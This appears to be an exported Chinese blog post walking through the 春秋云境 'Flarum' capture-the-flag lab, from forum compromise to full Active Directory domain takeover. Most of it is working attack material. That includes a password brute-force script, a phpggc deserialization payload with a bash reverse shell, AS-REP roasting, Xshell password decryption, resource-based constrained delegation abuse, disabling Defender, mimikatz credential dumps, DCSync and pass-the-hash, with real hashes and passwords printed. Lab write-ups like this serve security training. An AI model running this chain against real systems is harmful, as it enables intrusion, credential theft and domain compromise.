{"id":264,"date":"2023-08-17T16:35:09","date_gmt":"2023-08-17T08:35:09","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=264"},"modified":"2023-08-17T16:42:20","modified_gmt":"2023-08-17T08:42:20","slug":"%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%e9%9d%b6%e5%9c%ba%e8%ae%b0%e5%bd%95-delivery-2","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/264","title":{"rendered":"\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Flarum"},"content":{"rendered":"<p>\u5165\u53e3<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dc3a02661c6c8e5405b617.jpg\" alt=\"\" \/><\/p>\n<p>\u626b<\/p>\n<pre class=\"prettyprint linenums\" ><code>start infoscan\ntrying RunIcmp2\nThe current user permissions unable to send icmp packets\nstart ping\n(icmp) Target 39.99.153.68    is alive\n[*] Icmp alive hosts len is: 1\n39.99.153.68:22 open\n39.99.153.68:80 open\n[*] alive ports len is: 2\nstart vulscan\n[*] WebTitle: http:\/\/39.99.153.68       code:200 len:5867   title:\u9704\u58e4\u793e\u533a\n\u5df2\u5b8c\u6210 2\/2<\/code><\/pre>\n<p>\u597d\uff0c\u5f88\u5e72\u51c0<\/p>\n<p>Flarum\u5386\u53f2\u6f0f\u6d1e\u4e0d\u591a\u800c\u4e14\u5f88\u591a\u90fd\u662f\u540e\u53f0\u5229\u7528\u4f3c\u4e4e<\/p>\n<p>\u53ea\u80fd\u7206\u7834\u4e0b\u5bc6\u7801\u4e86\uff0c\u5f31\u53e3\u4ee4\u8fd8\u7206\u4e0d\u51fa\u6765\uff0c\u6211\u8349\u4e86<\/p>\n<p>\u8bd5\u4e86\u597d\u4e45\uff0c\u6700\u540e\u662f\u4e00\u65e0\u6240\u83b7\uff0c\u5012\u662f\u53d1\u73b0\u4e86\u5982\u679c\u4f60\u6ce8\u518c\u7684\u90ae\u7bb1\u540e\u7f00\u662fxiaorang.lab\u7684\u8bdd\u5728\u8fd9\u8bba\u575b\u91cc\u9762\u597d\u50cf\u4f1a\u6709\u66f4\u591a\u6743\u9650\u3002\u3002\u3002<\/p>\n<p>\u6211\u8349\u4e86\uff0c\u6362\u4e86rockyou\u7206\u51fa\u6765\u4e86\uff0c\u9006\u5929\uff0c\u597d\u597d\u597d\u4f60\u8fd9\u4e48\u73a9\u662f\u5427\uff0c\u7206\u4e86\u591a\u4e45\u6211\u5df2\u7ecf\u4e0d\u597d\u8bf4\u4e86<\/p>\n<pre class=\"prettyprint linenums\" ><code># -*- coding: utf-8 -*-\n\nimport requests\n\n&#039;&#039;&#039;\nPOST \/login HTTP\/1.1\nHost: 39.98.115.157\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko\/20100101 Firefox\/116.0\nAccept: *\/*\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nReferer: http:\/\/39.98.115.157\/\nContent-Type: application\/json; charset=utf-8\nX-CSRF-Token: q3AnwhVW0vuNTacualNWpMIU1s9CelAmgzc8IO0Y\nContent-Length: &#039;83&#039;\nOrigin: http:\/\/39.98.115.157\nConnection: close\nCookie: flarum_session=OgyDjpOXBsLAeqQUYfra9kr9NuDepgsnpdXLvPk3\n\n{&quot;identification&quot;:&quot;administrator@xiaorang.lab&quot;,&quot;password&quot;:&quot;\u00a714235\u00a7&quot;,&quot;remember&quot;:false}\n&#039;&#039;&#039;\n\nurl = &#039;http:\/\/39.98.115.157\/login&#039;\nheaders = {\n    &#039;Host&#039;: &#039;39.98.115.157&#039;,\n    &#039;User-Agent&#039;: &#039;Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko\/20100101 Firefox\/116.0&#039;,\n    &#039;Accept&#039;: &#039;*\/*&#039;,\n    &#039;Accept-Language&#039;: &#039;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&#039;,\n    &#039;Accept-Encoding&#039;: &#039;gzip, deflate&#039;,\n    &#039;Referer&#039;: &#039;http:\/\/39.98.115.157\/&#039;,\n    &#039;Content-Type&#039;: &#039;application\/json; charset=utf-8&#039;,\n    &#039;X-CSRF-Token&#039;: &#039;q3AnwhVW0vuNTacualNWpMIU1s9CelAmgzc8IO0Y&#039;,\n    &#039;Content-Length&#039;: &#039;83&#039;,\n    &#039;Origin&#039;: &#039;http:\/\/39.98.115.157&#039;,\n    &#039;Connection&#039;: &#039;close&#039;,\n    &#039;Cookie&#039;: &#039;flarum_session=OgyDjpOXBsLAeqQUYfra9kr9NuDepgsnpdXLvPk3&#039;,\n}\n\nf = open(&#039;.\/tools\/dict\/rockyou.txt&#039;, &#039;r&#039;, errors=&#039;ignore&#039;)\n\nfor line in f.readlines():\n    password = line.strip(&#039;\\n&#039;)\n    print(password)\n    data = data = &#039;{&quot;identification&quot;:&quot;administrator@xiaorang.lab&quot;,&quot;password&quot;:&quot;&#039; + password + &#039;&quot;,&quot;remember&quot;:false}&#039;\n    response = requests.post(url, headers=headers, data=data)\n    print(response.status_code)\n    if response.status_code == 200:\n        print(&#039;password is: &#039; + password)\n        break<\/code><\/pre>\n<p>\u5509\u6211\u771f\u7684\u662f\u670d\u4e86\uff0c\u5728\u8fd9\u91cc\u5361\u4e86\u5de8\u4e45\uff0c\u6765\u6765\u56de\u56de\u91cd\u542f\u597d\u591a\u6b21\u4e86<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dceaee661c6c8e542b5b83.jpg\" alt=\"\" \/><\/p>\n<p>\u8fdb\u540e\u53f0\uff0c\u53d1\u73b0\u540e\u53f0\u7684\u7528\u6237\u5217\u8868\u91cc\u7528\u6237\u7279\u591a\uff0c\u8fd9\u4e2a\u8fc7\u4f1a\u518d\u770b<\/p>\n<p>\u7136\u540e\u7167\u7740\u8fd9\u7bc7\u6587\u7ae0\u5f00\u6284<\/p>\n<p><a href=\"https:\/\/www.wangan.com\/p\/7fy78y4ffb5abf31#0x02%E5%88%A9%E7%94%A8CSS%E6%B8%B2%E6%9F%93%E8%AF%BB%E5%8F%96%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6\">https:\/\/www.wangan.com\/p\/7fy78y4ffb5abf31#0x02%E5%88%A9%E7%94%A8CSS%E6%B8%B2%E6%9F%93%E8%AF%BB%E5%8F%96%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6<\/a><\/p>\n<p>\u5916\u89c2\u91cc\u9762\u9009\u81ea\u5b9a\u4e49\u6837\u5f0f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dceb69661c6c8e542cf53f.jpg\" alt=\"\" \/><\/p>\n<p>\u6bcf\u6b21\u70b9\u4fdd\u5b58\u540e\u4f1a\u7f16\u8bd1\u4e00\u9635\u5b50\uff0c\u6240\u4ee5\u4f1a\u770b\u5230\u663e\u793aforum.css\u4e0d\u5b58\u5728\uff0c\u7b49\u7b49\u5c31\u597d\u4e86<\/p>\n<p>\u8fd9\u91cc\u6ca1\u5565\u597d\u8bf4\u7684\uff0c\u5c31\u662f\u6284\u5427\uff0c\u7f16\u8bd1\u65f6\u95f4\u8fd8\u86ee\u4e45\u7684<\/p>\n<pre class=\"prettyprint linenums\" ><code>php phpggc -p tar -b Monolog\/RCE6 system &quot;bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/x x x\/xxx 0&gt;&amp;1&#039;&quot;<\/code><\/pre>\n<pre class=\"prettyprint linenums\" ><code>import (inline) &#039;data:text\/css;base64,xxx&#039;;<\/code><\/pre>\n<pre class=\"prettyprint linenums\" ><code>.test {\n  content: data-uri(&quot;phar:\/\/.\/assets\/forum.css&quot;);\n}<\/code><\/pre>\n<p>\u6700\u540e\u70b9\u4e00\u4e0b\u4fdd\u5b58\u5c31\u80fd\u62ffshell<\/p>\n<p>\u4f20linpeas\u626b\u4e00\u624b<\/p>\n<p>\u6ca1\u770b\u89c1\u5565\uff0c\u4e5f\u6ca1\u6709\u5565suid\uff0c\u4f46\u662f\u53d1\u73b0\u4e86openssl\u7684capability<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dd9924661c6c8e549538fa.jpg\" alt=\"\" \/><\/p>\n<p>\u53bbgtfobins\u627e\u4e00\u624b\u547d\u4ee4\u76f4\u63a5\u8bfbflag<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dd9962661c6c8e54962187.jpg\" alt=\"\" \/><\/p>\n<p>\u4f20fscan\u626b\u5185\u7f51<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.60.8:445 open\n172.22.60.15:445 open\n172.22.60.42:445 open\n172.22.60.8:139 open\n172.22.60.42:139 open\n172.22.60.15:135 open\n172.22.60.42:135 open\n172.22.60.8:135 open\n172.22.60.52:80 open\n172.22.60.15:139 open\n172.22.60.8:88 open\n172.22.60.52:22 open \n[*] NetInfo:\n[*]172.22.60.42\n   [-&gt;]Fileserver\n   [-&gt;]172.22.60.42\n   [-&gt;]169.254.205.159\n[*] NetInfo:\n[*]172.22.60.15\n   [-&gt;]PC1\n   [-&gt;]172.22.60.15\n   [-&gt;]169.254.17.85\n[*] NetInfo:\n[*]172.22.60.8\n   [-&gt;]DC\n   [-&gt;]172.22.60.8\n   [-&gt;]169.254.192.168\n[*] NetBios: 172.22.60.8     [+]DC XIAORANG\\DC              \n[*] NetBios: 172.22.60.15    XIAORANG\\PC1                   \n[*] NetBios: 172.22.60.42    XIAORANG\\FILESERVER            \n[*] WebTitle: http:\/\/172.22.60.52       code:200 len:5867   title:\u9704\u58e4\u793e\u533a<\/code><\/pre>\n<p>\u56db\u53f0\u673a\u5668<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.60.42    FILESERVER\n172.22.60.15    PC1\n172.22.60.8     \u57df\u63a7\n172.22.60.52    \u62ff\u4e0b<\/code><\/pre>\n<p>\u7b2c\u4e8c\u5173\u63cf\u8ff0\u662f<\/p>\n<pre class=\"prettyprint linenums\" ><code>\u901a\u8fc7kerberos\u653b\u51fb\u7684\u83b7\u53d6\u57df\u5185\u6743\u9650\uff0c\u5e76\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\u3002<\/code><\/pre>\n<p>\u90a3\u5c31\u5f97\u662f15\u8fd9\u53f0\u673a\u5668\u4e86<\/p>\n<p>\u53c8\u60f3\u8d77\u6765\u4e4b\u524d\u7684\u4e00\u5806\u90ae\u7bb1\u4e86\uff0c\u5168\u90e8\u641e\u51fa\u6765<\/p>\n<p>\u5199shell\u6302\u4ee3\u7406\u8681\u5251\u8fde\u4e00\u4e0b\u6570\u636e\u5e93\uff0c\u5bc6\u7801\u5728\u8fd9\u91cc<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dda08e661c6c8e54ab5263.jpg\" alt=\"\" \/><\/p>\n<p>\u4f46\u662f\u8fd9\u91cc\u83ab\u540d\u5176\u5999\u7684\u8681\u5251\u91cc\u6267\u884csql\u8bed\u53e5\u5c31\u662f\u6ca1\u6709\u53cd\u5e94\uff0c\u4e8e\u662f\u76f4\u63a5viper\u91cc\u8d77\u4e2ashell\u8fdemysql\u4e86<\/p>\n<pre class=\"prettyprint linenums\" ><code>SELECT `username` FROM `flarum_users` ORDER BY 1;\nSELECT `password` FROM `flarum_users` ORDER BY 1;<\/code><\/pre>\n<p>\u62ff\u5230\u4e86\u7528\u6237\u540d\u5bc6\u7801\u5404246\u4e2a\uff0c\u8fd9\u91cc\u9762\u9664\u4e86admin\u7684\u5bc6\u7801\u4f3c\u4e4e\u90fd\u662f\u4e00\u6837\u7684\uff0c\u5e94\u8be5\u6ca1\u4ec0\u4e48\u770b\u7684\u5fc5\u8981\uff0c\u6240\u4ee5\u5bc6\u7801\u5c31\u4e0d\u770b\u4e86\uff0c\u7136\u540e\u8bd5\u8bd5\u54ea\u51e0\u4e2a\u7528\u6237\u540d\u6709\u6548<\/p>\n<pre class=\"prettyprint linenums\" ><code>.\/kerbrute_darwin_amd64 userenum --dc 172.22.60.8 -d xiaorang.lab ..\/user.txt<\/code><\/pre>\n<p>\u4e00\u5171\u6709\u8fd9\u51e0\u4e2a<\/p>\n<pre class=\"prettyprint linenums\" ><code>2023\/08\/17 12:54:21 &gt;  [+] VALID USERNAME:    administrator@xiaorang.lab\n2023\/08\/17 12:54:22 &gt;  [+] VALID USERNAME:    chenfang@xiaorang.lab\n2023\/08\/17 12:55:38 &gt;  [+] VALID USERNAME:    wangkai@xiaorang.lab\n2023\/08\/17 12:55:45 &gt;  [+] VALID USERNAME:    wangping@xiaorang.lab\n2023\/08\/17 12:55:56 &gt;  [+] VALID USERNAME:    wangyun@xiaorang.lab\n2023\/08\/17 12:56:09 &gt;  [+] VALID USERNAME:    yangyan@xiaorang.lab\n2023\/08\/17 12:56:15 &gt;  [+] VALID USERNAME:    zhanghao@xiaorang.lab\n2023\/08\/17 12:56:32 &gt;  [+] VALID USERNAME:    zhangwei@xiaorang.lab\n2023\/08\/17 12:56:34 &gt;  [+] VALID USERNAME:    zhangxin@xiaorang.lab<\/code><\/pre>\n<p>\u7136\u540e\u662fKerberoasting\u653b\u51fb\uff0c\u627e\u627e\u6709\u6ca1\u6709\u6ca1\u8bbe\u7f6e\u9884\u8ba4\u8bc1\u7684<\/p>\n<pre class=\"prettyprint linenums\" ><code>python3 .\/tools\/impacket-0.10.0\/examples\/GetNPUsers.py -dc-ip 172.22.60.8 -usersfile .\/user.txt xiaorang.lab\/<\/code><\/pre>\n<p>\u6709\u4e24<\/p>\n<pre class=\"prettyprint linenums\" ><code>[-] User administrator doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n[-] User chenfang doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n[-] User wangkai doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n[-] User wangping doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n$krb5asrep$23$wangyun@XIAORANG.LAB:85f9261654053b64d6a61b27cd76e1dc$359bc3b84165c25ce6b78f56849cdbb29cf76129e28aa6fe39c3d5464c5a45a713e4b08850a5103ee547ee70e525a3a617497831591ef59eb1a34fbd748df35015daf71d45faf8639019b16dbfd87299bf18ea8ef22c1dd152c63412df5ec32eb03fecb93a138f1550f2ffd5114d1f073a8a6e9cd9d98137c4b4a8a845381ee27caa1b667a99e0406817c8159dc692811c492f12345a1344781640ea3b3adee1453320d2fc7570906387f62e82018fd7ba4aa229cd085d17acd9e0d998dc52791216a86f43a3d3c43c010e650558c6a9b0b536da0fca64f904c01692dd06327d00a01f1b57e0f1132893cd9f\n[-] User yangyan doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n[-] User zhanghao doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n[-] User zhangwei doesn&#039;t have UF_DONT_REQUIRE_PREAUTH set\n$krb5asrep$23$zhangxin@XIAORANG.LAB:07ae9eae89ad74d574bfa240a2cb6798$504153d1bc308eeef0b3b4f50e96e8ede4430cf9c7b3d26d8344fa3031bb1b3848b801e19407242e16fdf215181d3f534ac57bae543e196d6dc106626d40ca0c6ad3d060c23c3c5cd4d7fb0cf4b5f4b3d20ca6379110616dbae9b27ebb8bf77ae227dcc8f2b688dc68881691c6f00b2abc8c51cf2ddf4db094070d36275e0f451c4e884ee01dd9f7f08ca30d8c5ab084f9e86a6c64f61fd68680e4b1fadb4ad92067f5272b3fcb54227627b28afea7c757d757800e82759aca0c16365825e06ec18ea622cc742ed8cd223106bc28816f3285e4986913e1ebe7860c01665e3f61d7425974e1a57ef025a84d9f<\/code><\/pre>\n<p>hashcat\u5f00\u7206\uff0c\u7528rockyou\u53ea\u80fd\u7206\u51fa\u6765wangyun\u7684\u5bc6\u7801\u4e3aAdm12geC\uff0c\u53e6\u4e00\u4e2a\u7206\u4e0d\u51fa<\/p>\n<p>\u4e4b\u524d\u626b\u63cf\u6ca1\u626b\u51fa15\u673a\u5668\u4e0a\u76843389\uff0c\u53c8\u626b\u4e86\u4e00\u904d\u5168\u7aef\u53e3\u626b\u51fa\u6765\u4e86\uff0c\u76f4\u63a5\u62ffwangyun\u7684\u7968\u636e\u767b\u9646<\/p>\n<p>\u684c\u9762\u4e0a\u4e00\u4e2aXshell 7<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddad72661c6c8e54d293b2.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u70b9\u5f00\u770b\u770b<\/p>\n<p>\u91cc\u9762\u5b58\u7740\u4e00\u4e2a\u4ee5zhangxin\u8eab\u4efd\u8fde\u523045\u673a\u5668\u4e0a\u7684\u4f1a\u8bdd\uff0c\u54e6\u725b\u903c\uff0c\u5957\u5a03\u662f\u5427<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddae08661c6c8e54d4d3c6.jpg\" alt=\"\" \/><\/p>\n<p>\u4f46\u662f\u5e76\u4e0d\u5141\u8bb8\u590d\u5236\u4ed6\u7684\u5bc6\u7801<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddae70661c6c8e54d64848.jpg\" alt=\"\" \/><\/p>\n<p>\u641c\u5230\u4e86\u8fd9\u7bc7\u6587\u7ae0https:\/\/medium.com\/@gpsanjeewaa\/how-to-decrypt-xshell-passwords-acf2736bc474<\/p>\n<p>\u7167\u7740\u505a\u4e00\u4e0b<\/p>\n<p>\u5148\u62ffsid<\/p>\n<pre class=\"prettyprint linenums\" ><code>C:\\Users\\wangyun&gt;WMIC useraccount get name,sid\nName                SID\nAdministrator       S-1-5-21-2549426187-2894793112-2310433620-500\nDefaultAccount      S-1-5-21-2549426187-2894793112-2310433620-503\nGuest               S-1-5-21-2549426187-2894793112-2310433620-501\nWDAGUtilityAccount  S-1-5-21-2549426187-2894793112-2310433620-504\nAdministrator       S-1-5-21-3535393121-624993632-895678587-500\nGuest               S-1-5-21-3535393121-624993632-895678587-501\nkrbtgt              S-1-5-21-3535393121-624993632-895678587-502\nchenfang            S-1-5-21-3535393121-624993632-895678587-1105\nzhanghao            S-1-5-21-3535393121-624993632-895678587-1106\nwangyun             S-1-5-21-3535393121-624993632-895678587-1107\nzhangwei            S-1-5-21-3535393121-624993632-895678587-1108\nwangkai             S-1-5-21-3535393121-624993632-895678587-1109\nyangyan             S-1-5-21-3535393121-624993632-895678587-1110\nzhangxin            S-1-5-21-3535393121-624993632-895678587-1111\nwangping            S-1-5-21-3535393121-624993632-895678587-1112<\/code><\/pre>\n<p>\u7136\u540e\u9879\u76ee\uff1a<a href=\"https:\/\/github.com\/dzxs\/Xdecrypt\">https:\/\/github.com\/dzxs\/Xdecrypt<\/a><\/p>\n<p>\u7136\u540e\u8bbf\u95ee\u8fd9\u91cc\uff1aC:\\Users\\wangyun\\Documents\\NetSarang Computer\\7\\Xshell\\Sessions<\/p>\n<p>\u7b80\u5355\u7684\u770b\u4e86\u4e00\u624b\u8c8c\u4f3c\u4e5f\u53ea\u8bfb\u4e86xsh\u90a3\u4e2a\u6587\u4ef6\uff0c\u4e8e\u662f\u76f4\u63a5\u590d\u5236\u51fa\u6765<\/p>\n<p>\u7136\u540e\u53d1\u73b0win32api\u8fd9\u4e2a\u5e93mac\u7528\u4e0d\u4e86\uff0c\u4e0d\u597d\u8bf4\u4e86\uff0c\u5bc4\u4e86<\/p>\n<p>\u4f46\u662f\u7a81\u7136\u53c8\u5728\u4ed6\u7684\u811a\u672c\u91cc\u53d1\u73b0\u4e86\u8fd9\u53e5\u8bdd<\/p>\n<pre class=\"prettyprint linenums\" ><code># method from https:\/\/github.com\/JDArmy\/SharpXDecrypt<\/code><\/pre>\n<p>\u6574\u633a\u597d\uff0c\u76f4\u63a5\u7528\u8fd9\u4e2a\u9879\u76ee\u5c31\u53ef\u4ee5\u4e86\u539f\u6765<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddb32a661c6c8e54e877c0.jpg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u62ff\u5230\u5bc6\u7801\uff1aadmin4qwY38cc<\/p>\n<p>\u5207\u6362\u4e0b\u7528\u6237\u5148\uff0czhangxin\u7684\u684c\u9762\u4e0a\u4e5f\u6709\u4e2aXshell\uff0c\u518d\u770b\u770b\uff0c\u91cc\u9762\u6ca1\u4e1c\u897f<\/p>\n<p>bloodhound\u542f\u52a8<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddb71b661c6c8e54f4f7e5.jpg\" alt=\"\" \/><\/p>\n<p>\u4e00\u773c\u4e01\u771f\u4e86\u8fd9\u4e0b<\/p>\n<p>\u4f46\u662f\u8bd5\u4e86\u4e00\u4e0b\u4e4b\u524d\u5b66\u7684\u53d1\u73b0\u4f3c\u4e4e\u4e0d\u662f\u5f88\u5bf9<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddbd93661c6c8e540958b0.jpg\" alt=\"\" \/><\/p>\n<p>\u53ef\u80fd\u662f\u6211\u5b66\u7684\u8fd8\u592a\u5c11\u4e86\uff0c\u6211\u770b\u5230\u8fd9zhangxin\u5728ACCOUNT OPERATORS\u7ec4\u91cc\u5e94\u8be5\u662f\u53ef\u4ee5\u628a\u81ea\u5df1\u52a0\u8fdbacladmin\u7ec4\u7684\u5427\uff0c\u4e4b\u524d\u5b66\u5230\u7684\u597d\u50cf\u662f\u8fd9\u6837\uff0c\u7b97\u4e86\uff0c\u518d\u770b\u770b\u522b\u7684<\/p>\n<p>\u627e\u5230\u4e86\u8fd9\u7bc7\u6587\u7ae0\u770b\u8d77\u6765\u5f88\u6709\u7528\uff0c\u6536\u85cf\u4e86https:\/\/zhuanlan.zhihu.com\/p\/549838653?utm_id=0<\/p>\n<p>\u91cc\u9762\u6709\u4e00\u6761\u662f<strong>\u5229\u7528\u65b9\u5f0f2 Acount Operators\u7ec4\u7528\u6237\u62ff\u4e0b\u4e3b\u673a<\/strong><\/p>\n<p>\u8bd5\u8bd5\u5148\uff0c\u5148\u521b\u5efa\u673a\u5668\u8d26\u6237<\/p>\n<pre class=\"prettyprint linenums\" ><code>powershell\nSet-ExecutionPolicy Bypass -Scope Process\nimport-module .\\Powermad.ps1\nNew-MachineAccount -MachineAccount test3 -Password $(ConvertTo-SecureString &quot;123456&quot; -AsPlainText -Force)<\/code><\/pre>\n<p>\u7136\u540e\u67e5sid<\/p>\n<pre class=\"prettyprint linenums\" ><code>import-module .\\powerview.ps1\nGet-NetComputer test3 -Properties objectsid\n#test3 sid: S-1-5-21-3535393121-624993632-895678587-1116<\/code><\/pre>\n<p>\u7136\u540e\u4fee\u6539WEB\u7684msds-allowedtoactonbehalfofotheridentity\u7684\u503c<\/p>\n<pre class=\"prettyprint linenums\" ><code>powershell\nSet-ExecutionPolicy Bypass -Scope Process\nimport-module .\\powerview.ps1\n$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)&quot;\n$SDBytes = New-Object byte[] ($SD.BinaryLength)\n$SD.GetBinaryForm($SDBytes, 0)\nGet-DomainComputer PC1| Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes} -Verbose<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddc194661c6c8e5419ec1a.jpg\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u751f\u6210\u7968\u636e<\/p>\n<pre class=\"prettyprint linenums\" ><code>python3 .\/tools\/impacket-0.10.0\/examples\/getST.py -dc-ip 172.22.60.8 xiaorang.lab\/test3\\$:123456 -spn cifs\/PC1.xiaorang.lab -impersonate administrator<\/code><\/pre>\n<p>\u7136\u540e\u6539host\u6587\u4ef6\u52a0\u5165PC1.xiaorang.lab<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddc346661c6c8e541fba6f.jpg\" alt=\"\" \/><\/p>\n<p>\u5bfc\u5165\u7968\u636e<\/p>\n<pre class=\"prettyprint linenums\" ><code>export KRB5CCNAME=administrator.ccache\npython3 .\/tools\/impacket-0.10.0\/examples\/wmiexec.py PC1.xiaorang.lab -no-pass -k -dc-ip 172.22.60.8<\/code><\/pre>\n<p>\u653b\u51fb\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddc389661c6c8e54209947.jpg\" alt=\"\" \/><\/p>\n<p>\u8fd9\u91cc\u5982\u679c\u7528psexec\u53bb\u8fde\u6743\u9650\u4f1a\u66f4\u9ad8<\/p>\n<pre class=\"prettyprint linenums\" ><code>export KRB5CCNAME=administrator.ccache\npython3 .\/tools\/impacket-0.10.0\/examples\/psexec.py -k xiaorang.lab\/administrator@PC1.xiaorang.lab -no-pass<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dddd39661c6c8e54807f90.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u62ffflag2<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddc466661c6c8e5423694f.jpg\" alt=\"\" \/><\/p>\n<p>\u65e2\u7136\u662f\u53ef\u4ee5\u83b7\u5f97\u57df\u5185\u9664\u4e86\u57df\u63a7\u7684\u6240\u6709\u4e3b\u673a\u6743\u9650\uff0c\u90a3\u5c31\u628a\u53e6\u4e00\u53f0\u673a\u5668\u6743\u9650\u4e5f\u62ff\u4e86\uff0c\u548c\u524d\u9762\u6b65\u9aa4\u4e00\u6837\uff0c\u53ea\u8981\u628aPC1\u6539\u6210FILESERVER\u5c31\u884c<\/p>\n<p>flag3<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64dddd5e661c6c8e54812d55.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u662f\u8ba9\u627e\u9ed1\u5ba2\u7559\u4e0b\u7684\u57df\u63a7\u540e\u95e8<\/p>\n<p>\u5148\u5efa\u4e00\u4e2a\u7528\u6237\u7528\u6765\u4e0a\u7ebf\u4f20\u9a6c<\/p>\n<pre class=\"prettyprint linenums\" ><code>net user zys password123$ \/add\nnet localgroup administrators zys \/add<\/code><\/pre>\n<p>\u8fd9\u91cc\u5f80FILESERVER\u4e0a\u9762\u4f20\u9a6c\u7684\u65f6\u5019\u8fd8\u88ab\u62e6\u622a\u4e86\uff0c\u539f\u56e0\u662f\u5f00\u4e86windowsdefender\uff0c\u8349\uff0c\u5173\u4e86\u5c31\u884c\u4e86<\/p>\n<p>\u770b\u4e86\u773c\u522b\u4ebawp\uff0c\u539f\u6765\u662f\u8001\u65e9\u4ee5\u524d\u88ab\u9ed1\u5ba2\u641e\u4e86\u4e00\u624b\uff0c\u73b0\u5728\u5df2\u7ecf\u6709dcsync\u6743\u9650\u4e86<\/p>\n<p>\u4f46\u662f\u6211\u7684bloodhound\u6ca1\u6709\u663e\u793a\u51fa\u6765\u8fd9\u4e00\u6761\uff0c\u633a\u602a\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u7248\u672c\u95ee\u9898<\/p>\n<p>\u76f4\u63a5\u4f20mimikatz\u6293\u4e00\u624bhash<\/p>\n<pre class=\"prettyprint linenums\" ><code>Authentication Id : 0 ; 36666632 (00000000:022f7d08)\nSession           : Interactive from 2\nUser Name         : UMFD-2\nDomain            : Font Driver Host\nLogon Server      : (null)\nLogon Time        : 2023\/8\/17 15:52:52\nSID               : S-1-5-96-0-2\n    msv :   \n     [00000003] Primary\n     * Username : Fileserver$\n     * Domain   : XIAORANG\n     * NTLM     : 951d8a9265dfb652f42e5c8c497d70dc\n     * SHA1     : 3cab5f0752e862855aa5eb7f4b8919ca76785383\n    tspkg : \n    wdigest :   \n     * Username : Fileserver$\n     * Domain   : XIAORANG\n     * Password : (null)\n    kerberos :  \n     * Username : Fileserver$\n     * Domain   : xiaorang.lab\n     * Password : 01x[;IN5Eg&gt;09?tlc$5E#(&quot;v&lt;KW^ckQX$sbS.8,`&gt;B!r#07GQrdTNx`Qp31tmkL.\/Y;?Y*])d@[qzp]@sfo;B#!&quot;tgEm#*(3s,2cDr2\/=xj&#039;Ufn\/:*wox.f3\n    ssp :   \n    credman :<\/code><\/pre>\n<p>\u7136\u540edump\u51fa\u6240\u6709hash\u503c<\/p>\n<pre class=\"prettyprint linenums\" ><code>python3 .\/tools\/impacket-0.10.0\/examples\/secretsdump.py xiaorang\/Fileserver\\$@172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -just-dc<\/code><\/pre>\n<p>\u62ffadmin\u7684\u8fdb\u884chash\u4f20\u9012<\/p>\n<pre class=\"prettyprint linenums\" ><code>Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::\n\npython3 .\/tools\/impacket-0.10.0\/examples\/wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b Administrator@172.22.60.8<\/code><\/pre>\n<p>flag4<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/64ddd5fe661c6c8e54649e27.jpg\" alt=\"\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5165\u53e3 \u626b start infoscan trying RunIcmp2 The current user 